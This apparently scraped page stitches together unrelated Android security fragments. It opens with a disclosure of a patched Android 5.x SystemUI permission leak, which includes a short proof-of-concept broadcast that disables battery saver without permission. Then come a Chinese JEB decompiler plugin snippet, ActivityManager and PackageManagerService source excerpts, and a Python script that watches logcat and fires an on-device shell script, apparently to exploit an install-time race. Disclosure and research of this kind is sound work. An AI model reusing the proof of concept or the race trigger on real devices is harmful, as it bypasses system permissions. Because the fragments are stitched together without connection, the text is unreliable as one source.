Since those are posted prior to Android Security Bug Bounty Program launch, I’m posting to fulldisclosure for the record.
Details
A permission leakage exists in Android 5.x that enables a malicious application to acquire the system-level protected permission of DEVICE_POWER.
There exists a permission leakage in packages/SystemUI/src/com/android/systemui/power/PowerNotificationWarnings.java, An attacker app without any permission can turn off battery save mode (which should be guarded by DEVICE_POWER permission, which is a system permission, lead to permission leakage), dismiss low battery notification.
Analysis
The PowerNotificationWarnings registered a dynamic receiver without permission guard, listening for the following actions:
PNW.batterySettings
PNW.startSaver
PNW.stopSaver
PNW.dismissedWarning
The PNW.stopSaver will call setSaverMode(false), thus call mPowerMan.setPowerSaveMode(false), which finally calls PowerManager.setPowerSaveMode(false).
(code of PowerNotificationWarnings.java) private final class Receiver extends BroadcastReceiver {
public void init() {
IntentFilter filter = new IntentFilter();
filter.addAction(ACTION_SHOW_BATTERY_SETTINGS);
filter.addAction(ACTION_START_SAVER);
filter.addAction(ACTION_STOP_SAVER);
filter.addAction(ACTION_DISMISSED_WARNING);
mContext.registerReceiverAsUser(this, UserHandle.ALL, filter, null, mHandler);
}
@Override public void onReceive(Context context, Intent intent) {
final String action = intent.getAction(); Slog.i(TAG, "Received " + action);
if (action.equals(ACTION_SHOW_BATTERY_SETTINGS)) {
dismissLowBatteryNotification(); mContext.startActivityAsUser(mOpenBatterySettings, UserHandle.CURRENT); }
else if (action.equals(ACTION_START_SAVER)) { dismissLowBatteryNotification(); showStartSaverConfirmation(); }
else if (action.equals(ACTION_STOP_SAVER)) { dismissSaverNotification();
dismissLowBatteryNotification();
setSaverMode(false);//PERMISSION LEAK HERE!
}
else if (action.equals(ACTION_DISMISSED_WARNING))
{ dismissLowBatteryWarning(); } }
An ordinary app cannot directly call this method because this API call is guarded by system permission DEVICE_POWER, however by sending a broadcast with action “PNW.stopSaver”, it can trigger this API call on behave of SystemUI, thus stops battery saver without user action and awareness.
Tested on Nexus 6/Nexus 7 (5.1.1)
POC code(do not require any permission)
Intent intent = new Intent();
intent.setAction("PNW.stopSaver");
sendBroadcast(intent);
Possible mitigations
Use a local broadcast mechanism, or use permission to guide the dynamic receiver.
Official fixes:
fixed in https://android.googlesource.com/platform/frameworks/base/+/05e0705177d2078fa9f940ce6df723312cfab976
Report timeline
2015.5.6 Initial report to security@android.com
2015.5.8 Android Security Team acks and assigned ANDROID-20918350
2015.6.1 The bug is fixed in Android internal branch
JEB是Android应用静态分析的de facto standard,除去准确的反编译结果、高容错性之外,JEB提供的API也方便了我们编写插件对源文件进行处理,实施反混淆甚至一些更高级的应用分析来方便后续的人工分析.本系列文章的前几篇将对JEB的API使用进行介绍,并实战如何利用开发者留下的蛛丝马迹去反混淆.先来看看我们最终编写的这个自动化反混淆插件实例的效果:
可以通过如下代码来递归打印一个Method中的各个Element: class test(IScript):
def run(self, j):
self.instance = j
sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
currentMethod = self.instance.getDecompiledMethodTree(sig)
self.instance.print("scanning method: " + currentMethod.getSignature())
body = currentMethod.getBody()
self.instance.print(repr(body))
for i in range(body.size()):
self.viewElement(body.get(i),1)
def viewElement(self, element, depth):
self.instance.print(" "*depth+repr(element))
for sub in element.getSubElements():
self.viewElement(sub, depth+1)
// Cause the target app to be launched if necessary and its backup agent
12819 // instantiated. The backup agent will invoke backupAgentCreated() on the
12820 // activity manager to announce its creation.
12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825 synchronized(this) {
/*...*/
12833 // Backup agent is now in use, its package can't be stopped.
12834 try {
12835 AppGlobals.getPackageManager().setPackageStoppedState(
12836 app.packageName, false, UserHandle.getUserId(app.uid));
12837 } catch (RemoteException e) {
12838 } catch (IllegalArgumentException e) {
12839 Slog.w(TAG, "Failed trying to unstop package "
12840 + app.packageName + ": " + e);
12841 }
12842
12843 BackupRecord r = new BackupRecord(ss, app, backupMode);
12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845 ? new ComponentName(app.packageName, app.backupAgentName)
12846 : new ComponentName("android", "FullBackupAgent");
12847 // startProcessLocked() returns existing proc's record if it's already running
12848 ProcessRecord proc = startProcessLocked(app.processName, app,
12849 false, 0, "backup", hostingName, false, false, false);
12850 if (proc == null) {
12851 Slog.e(TAG, "Unable to start backup agent process " + r);
12852 return false;
12853 }
12854
12855 r.app = proc;
12856 mBackupTarget = r;
12857 mBackupAppName = app.packageName;
12858
12859 // Try not to kill the process during backup
12860 updateOomAdjLocked(proc);
12861
12862 // If the process is already attached, schedule the creation of the backup agent now.
12863 // If it is not yet live, this will be done when it attaches to the framework.
12864 if (proc.thread != null) {
12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866 try {
12867 proc.thread.scheduleCreateBackupAgent(app,
12868 compatibilityInfoForPackageLocked(app), backupMode);
12869 } catch (RemoteException e) {
12870 // Will time out on the backup manager side
12871 }
12872 } else {
12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874 }
12875 // Invariants: at this point, the target app process exists and the application
12876 // is either already running or in the process of coming up. mBackupTarget and
12877 // mBackupAppName describe the app, so that when it binds back to the AM we
12878 // know that it's scheduled for a backup-agent operation.
12879 }
12880
12881 return true;
12882 }
from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
for line in iter(p.stdout.readline, b''):
if line.find(KW) != -1:
print line
os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()
We'd otherwise leave the data dirs & native libraries lying around. This will leave the app permanently broken because the next install of the app will fail with INSTALL_FAILED_UID_CHANGED. Also remove an unnecessary instance variable. Cherry-pick from master Bug 13416059
3622 private PackageParser.Package scanPackageLI(PackageParser.Package pkg,
3623 int parseFlags, int scanMode, long currentTime, UserHandle user) {
//....
4141 if ((scanMode&SCAN_NO_DEX) == 0) {
4142 if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143 == DEX_OPT_FAILED) {
4144 mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145 return null;
4146 }
4147 }
scanPackageLI函数流程大概如下:
/**/
//检查是否系统应用
/**/
//检查Package是否重复,否则抛出PackageManager.INSTALL_FAILED_DUPLICATE_PACKAGE
// Initialize package source and resource directories
3686 File destCodeFile = new File(pkg.applicationInfo.sourceDir);
3687 File destResourceFile = new File(pkg.applicationInfo.publicSourceDir);
//...
// Just create the setting, don't add it yet. For already existing packages
3812 // the PkgSetting exists already and doesn't have to be created.
3813 pkgSetting = mSettings.getPackageLPw(pkg, origPackage, realName, suid, destCodeFile,
3814 destResourceFile, pkg.applicationInfo.nativeLibraryDir,
3815 pkg.applicationInfo.flags, user, false);
//在这之后uid已经被指定了
/**/
//检查签名
//检查Provider权限
//开始创建目录
final long scanFileTime = scanFile.lastModified();
3926 final boolean forceDex = (scanMode&SCAN_FORCE_DEX) != 0;
3927 pkg.applicationInfo.processName = fixProcessName(
3928 pkg.applicationInfo.packageName,
3929 pkg.applicationInfo.processName,
3930 pkg.applicationInfo.uid);
3931
3932 File dataPath;
3933 if (mPlatformPackage == pkg) {
//omit
3937 } else {
3938 // This is a normal package, need to make its data directory.
3939 dataPath = getDataPathForPackage(pkg.packageName, 0);
3940
3941 boolean uidError = false;
3942
3943 if (dataPath.exists()) {
3944 int currentUid = 0;
3945 try {
3946 StructStat stat = Libcore.os.stat(dataPath.getPath());
3947 currentUid = stat.st_uid;
3948 } catch (ErrnoException e) {
3949 Slog.e(TAG, "Couldn't stat path " + dataPath.getPath(), e);
3950 }
3951
3952 // If we have mismatched owners for the data path, we have a problem.
3953 if (currentUid != pkg.applicationInfo.uid) {
3954 boolean recovered = false;
3955 if (currentUid == 0) {
3956 //omit...
3969 }
3970 if (!recovered && ((parseFlags&PackageParser.PARSE_IS_SYSTEM) != 0
3971 || (scanMode&SCAN_BOOTING) != 0)) {
3972 // If this is a system app, we can at least delete its
3973 // current data so the application will still work.
3974 //omit...
4001 } else if (!recovered) {
4002 // If we allow this install to proceed, we will be broken.
4003 // Abort, abort!
4004 mLastScanError = PackageManager.INSTALL_FAILED_UID_CHANGED;
4005 return null;
4006 }
} else {//目录不存在,新建立
4029 if (DEBUG_PACKAGE_SCANNING) {
4030 if ((parseFlags & PackageParser.PARSE_CHATTY) != 0)
4031 Log.v(TAG, "Want this data dir: " + dataPath);
4032 }
4033 //invoke installer to do the actual installation
4034 int ret = createDataDirsLI(pkgName, pkg.applicationInfo.uid);//建立目录
4035 if (ret < 0) {
4036 // Error from installer
4037 mLastScanError = PackageManager.INSTALL_FAILED_INSUFFICIENT_STORAGE;
4038 return null;
4039 }
4040
4041 if (dataPath.exists()) {
4042 pkg.applicationInfo.dataDir = dataPath.getPath();
4043 } else {
4044 Slog.w(TAG, "Unable to create data directory: " + dataPath);
4045 pkg.applicationInfo.dataDir = null;
4046 }
4047 }
//omit...
//拷贝nativeLibrary
//omit...
//进行DexOpt
4141 if ((scanMode&SCAN_NO_DEX) == 0) {
4142 if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143 == DEX_OPT_FAILED) {
4144 mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145 return null;
4146 }
4147 }
private PackageSetting getPackageLPw(String name, PackageSetting origPackage,
359 String realName, SharedUserSetting sharedUser, File codePath, File resourcePath,
360 String nativeLibraryPathString, int vc, int pkgFlags,
361 UserHandle installUser, boolean add, boolean allowInstall) {
//omit...
} else {
423 p = new PackageSetting(name, realName, codePath, resourcePath,
424 nativeLibraryPathString, vc, pkgFlags);
425 p.setTimeStamp(codePath.lastModified());
426 p.sharedUser = sharedUser;
427 // If this is not a system app, it starts out stopped.
428 if ((pkgFlags&ApplicationInfo.FLAG_SYSTEM) == 0) {
429 if (DEBUG_STOPPED) {
430 RuntimeException e = new RuntimeException("here");
431 e.fillInStackTrace();
432 Slog.i(PackageManagerService.TAG, "Stopping package " + name, e);
433 }
434 List<UserInfo> users = getAllUsers();
435 if (users != null && allowInstall) {
436 for (UserInfo user : users) {
437 // By default we consider this app to be installed
438 // for the user if no user has been specified (which
439 // means to leave it at its original value, and the
440 // original default value is true), or we are being
441 // asked to install for all users, or this is the
442 // user we are installing for.
443 final boolean installed = installUser == null
444 || installUser.getIdentifier() == UserHandle.USER_ALL
445 || installUser.getIdentifier() == user.id;
446 p.setUserState(user.id, COMPONENT_ENABLED_STATE_DEFAULT,
447 installed,
448 true, // stopped,
449 true, // notLaunched
450 null, null);
451 writePackageRestrictionsLPr(user.id);
452 }
453 }
454 }
455 if (sharedUser != null) {
456 p.appId = sharedUser.userId;
457 } else {
458 // Clone the setting here for disabled system packages
459 PackageSetting dis = mDisabledSysPackages.get(name);
460 if (dis != null) {
//omit..
484 } else {
485 // Assign new user id
486 p.appId = newUserIdLPw(p);//关键点
487 }
488 }
继续查看newUserIdLPw
private int newUserIdLPw(Object obj) {
2360 // Let's be stupidly inefficient for now...
2361 final int N = mUserIds.size();
2362 for (int i = 0; i < N; i++) {
2363 if (mUserIds.get(i) == null) {//检查空位
2364 mUserIds.set(i, obj);
2365 return Process.FIRST_APPLICATION_UID + i;
2366 }
2367 }
2368
2369 // None left?
2370 if (N > (Process.LAST_APPLICATION_UID-Process.FIRST_APPLICATION_UID)) {
2371 return -1;
2372 }
2373
2374 mUserIds.add(obj);
2375 return Process.FIRST_APPLICATION_UID + N;
2376 }